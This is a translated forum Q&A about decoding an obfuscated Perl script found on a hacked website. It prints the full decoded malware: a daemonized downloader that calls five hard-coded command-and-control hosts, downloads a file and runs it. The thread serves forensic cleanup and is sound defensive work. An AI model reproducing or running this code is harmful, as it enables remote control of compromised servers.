解密被黑站点上混淆的 perl 脚本

Decrypt obfuscated perl script on hacked site

我正在清理一个客户的站点,该站点在我已经清理过一次后被黑了,这时我发现一个 cron 作业指向服务器 /tmp 目录中的一个脚本:

https://pastebin.com/uXCSXxdn

前 6 行如下所示:

my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;eval($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD?"`](#$[("9M86EN*"D[
M"G-U8B!M86EN"GL*97AI="`P('5N;&5S<R!D969I;F5D("AM>2`D<&ED(#T@

剩下的只是该数据块的 121 行。我通过 Virustotal 运行 文件并返回干净,但我确定这不是非恶意文件。有什么方法可以安全地解密它,这样我就知道去哪里查看它是否在网站的某处丢弃了另一个有效负载?

替换eval with print看看脚本是什么运行。您提供的部分生成可读代码。

我的第一个想法是 deparse 它,但由于大部分代码都在 DATA 块中,所以用处不大。您可以将 eval() 函数替换为 print() 并让脚本为您解码。您可能最终需要 deparse 来了解 print 给您的内容。

如果您想查看去混淆后的代码,请按以下步骤操作。请注意,您将要执行的操作是危险的,因为如果您不小心执行了代码,您的机器将受到攻击。你被警告了。

请注意,这些步骤仅适用于此示例。其他的攻击脚本里面可能还有其他的东西。除了下面详述的内容外,他们可能还需要其他更改。

这是发布的原始示例的步骤。

将所有程序复制到 original.pl。它看起来像这样:

my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;print($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E

将第一行的eval改为print如果您不将 eval 更改为 print,那么下一步将对您的机器执行攻击。

现在,运行 程序,将 eval 更改为 print

perl original.pl > unencoded.pl

新的 unencoded.pl 程序将如下所示,没有缩进:

#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;

现在使用B::Deparse模块来解释和重新格式化程序。 确保你有 -MO=Deparse 否则你会 运行 攻击。

perl -MO=Deparse unencoded.pl > formatted.pl   # Note the -MO=Deparse!!!

运行 通过 Deparse 模块会说:

unencoded.pl syntax OK

新的 formatted.pl 程序将是攻击者有效负载的格式良好的副本,长 213 行,您可以检查脚本的作用。注意最后的程序还是很危险的,因为这是攻击者想要运行.

的攻击程序

显示的格式只是uuencoding。我复制了 pastebin-ed 文本,将其粘贴到 https://www.browserling.com/tools/uudecode 中,结果显示这是 not-actually-obfuscated Perl 代码:

#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["5.135.42.98:80","ixjeunsdms.org:80","95.216.98.49:443","heyhajksds.com:443","skjfdnlakdp.net:80"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {rand @$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$//;
s/^(.*[^\s])\s*$//;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task =  if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $content;
}
exit 0 if !defined $command || $command !~ /^16$/;
$header = "$dir/" . time; $content = "$dir/$file";
unlink $header if -f $header; unlink $content if -f $content;
&http($link, $timeout, $header, $content, 1);
my ($resp, $size) = ("000", 0);
if (open (F, "<", $header))
{
flock F, 1;
while (<F>)
{
s/^\s*([^\s]?.*)$//;
s/^(.*[^\s])\s*$//;
next unless length $_;
$resp =  if /^HTTP\S+\s+(\d\d\d)/;
}
close F;
}
$size = (stat $content)[7] if -f $content;
$size = 0 if !defined $size || $size !~ /^\d+$/;
if ($size > 0)
{
chmod 0755, $content;
system "perl $content >/dev/null 2>&1";
}
unlink $header if -f $header; unlink $content if -f $content;
foreach my $rs (@$url)
{
$header = "/dev/null"; $content = $header;
&http($rs, 10, $header, $content, 0, "$id.$resp.$size");
}
exit 0;
}
sub xorl
{
my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr (split (//, $line))
{
if ($xor == $lim)
{
$lim = 0 if $lim == 256;
$lim += 16;
$xor = 1;
}
$code .= pack ("C", unpack ("C", $chr) ^ $xor);
$xor ++;
}
return $code;
}
sub decxd
{
my $data = pack ("H*", shift);
@_ = unpack ("C5", substr ($data, 0, 5, ""));
return (&xorl(substr ($data, 0, shift, "")), &xorl(substr ($data, 0, shift, "")), @_);
}
sub http
{
my ($url, $timeout, $header, $content, $mode, $gecko) = @_;
$gecko = "20100101" if !defined $gecko || !length $gecko;
my ($host, $port, $path) = $url =~ /^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
return unless $host;
my $addr = gethostbyname $host;
return unless $addr;
$port ||= 80;
$path ||= "/";
$addr = sockaddr_in($port, $addr);
my $readers = IO::Select->new() or return;
my $writers = IO::Select->new() or return;
my $buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.1",
"Host: $host",
"Cookie: PHPSESSID=295c445c5f495f5f4548533c3c3c3d29",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/$gecko Firefox/60.0",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.1",
"Accept-Language: en-us,en;q=0.8",
"Accept-Encoding: gzip, deflate",
"Accept-Charset: ISO-8859-1,utf-8;q=0.1,*;q=0.8",
"Connection: close",
"\x0D\x0A"
);
if ($mode)
{
$buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.0",
"Host: $host",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/$gecko Firefox/61.0",
"Accept: text/html,*/*",
"Connection: close",
"\x0D\x0A"
);
}
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
return unless $socket;
$socket->blocking(0);
unless ($socket->connect($addr))
{
unless ($! == POSIX::EINPROGRESS)
{
close $socket;
return;
}
}
$writers->add($socket);
$timeout += time;
my $step = 0;
while (1)
{
IO::Select->select(undef, undef, undef, 0.02);
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (@$writable)
{
if ($step == 0)
{
$step = 1 if $handle->connected;
}
if ($step == 1)
{
my $result = syswrite ($handle, $buffer);
if (defined $result && $result > 0)
{
substr ($buffer, 0, $result) = "";
if (!length $buffer)
{
$readers->add($handle);
$writers->remove($handle);
$step = 2;
}
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (@$readable)
{
next if $step < 2;
my $result;
if ($step == 2)
{
$result = sysread ($handle, $buffer, 8192, length $buffer);
}
else
{
$result = sysread ($handle, $buffer, 8192);
}
if (16384 < length $buffer)
{
$timeout = 0;
}
elsif (defined $result)
{
if ($result > 0)
{
if ($step == 2)
{
my $offset = index ($buffer, "\x0D\x0A\x0D\x0A");
next if $offset < 0;
if (open (F, ">>", $header))
{
flock F, 2;
binmode F;
print F substr ($buffer, 0, $offset);
close F;
}
substr ($buffer, 0, $offset + 4) = "";
$step = 3;
}
if ($step == 3)
{
if (length $buffer)
{
$buffer =~ s/%EHLO_VALUE%/295c445c5f495f5f4548533c3c3c3d29/gs;
if (open (F, ">>", $content))
{
flock F, 2;
binmode F;
print F $buffer;
close F;
}
$buffer = "";
}
}
next;
}
$timeout = 0;
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
if ($timeout < time)
{
foreach my $handle ($writers->handles, $readers->handles)
{
$writers->remove($handle) if $writers->exists($handle);
$readers->remove($handle) if $readers->exists($handle);
close $handle;
}
return;
}
}
}

线索是 a) 识别独特的格式; b) 还识别 unpack('u*')。在此过程中,没有虚拟机或其他机器处于危险之中。

代码有 5 个 URL,http 函数暗示它会“打电话回家”给那些,让命令在 Set-Cookie: PHPSESSIONID= header 中执行。我还没有进一步分析过。